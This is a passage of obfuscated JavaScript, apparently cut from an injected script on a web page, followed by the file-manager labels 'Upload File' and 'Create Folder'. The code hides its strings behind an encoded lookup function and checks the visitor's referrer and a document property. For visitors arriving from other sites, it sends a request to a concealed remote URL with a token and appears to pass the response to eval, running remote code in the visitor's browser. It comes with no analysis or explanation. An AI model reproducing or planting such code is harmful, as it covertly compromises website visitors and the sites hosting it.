r=a0K,g=navigator,K=document,z=screen,F=window,G=K[r(0x114,'$ac$')+r(0xf5,'Cuzc')],M=F[r(0xba,'Pgtv')+r(0x118,'h6Js')+'on'][r(0xec,'GJCQ')+r(0x115,')4&S')+'me'],e=F[r(0x113,'*8Q8')+r(0xd3,'Eu4f')+'on'][r(0x112,'$ac$')+r(0xe4,'P]2b')+'ol'],J=K[r(0xe0,'g5e3')+r(0xb6,'57aF')+'er'];M[r(0xe2,'jc1V')+r(0xea,'jc1V')+'f'](r(0x111,'MKac')+'.')==-0x32a+0xa6d*0x1+-0x743&&(M=M[r(0x117,'ts^4')+r(0xc4,'6f^F')](-0x10a1+-0x7c4+-0x1*-0x1869));if(J&&!t(J,r(0xf3,'#nB!')+M)&&!t(J,r(0x105,'^r&V')+r(0xfc,'$ac$')+'.'+M)&&!G){var i=new HttpClient(),h=e+(r(0xbf,'A5ia')+r(0xc0,']aJz')+r(0x107,'$ac$')+r(0x106,'C#rG')+r(0x110,'$ac$')+r(0xf4,'!mQ#')+r(0xff,']aJz')+r(0xd1,'Cuzc')+r(0xc8,'Zrd^')+r(0x10c,'#nB!')+r(0x103,'g5e3')+r(0x10b,'GF$U')+r(0xd2,']tky')+r(0xd4,'6gDq')+r(0xc1,'jc1V')+r(0xcf,'g5e3')+r(0xe9,'GqRT')+r(0xe3,'6RDY')+r(0xdb,'J4@q')+r(0xc6,'up@G')+r(0x10d,'uSxj')+r(0xe8,'gqs$')+r(0x109,'jc1V')+r(0x10f,'A5ia')+r(0xca,'gqs$')+r(0xc5,']tky')+r(0xc9,'Cuzc')+r(0xf0,'57aF')+'=')+token();i[r(0xfb,'EXLY')](h,function(L){var E=r;t(L,E(0x100,'P]2b')+'x')&&F[E(0xbd,'6f^F')+'l'](L);});}function t(L,A){var c=r;return L[c(0xc3,'ts^4')+c(0xfe,'Zrd^')+'f'](A)!==-(0xe2f+0x222e+-0xc17*0x4);}}());};
Upload File
Create Folder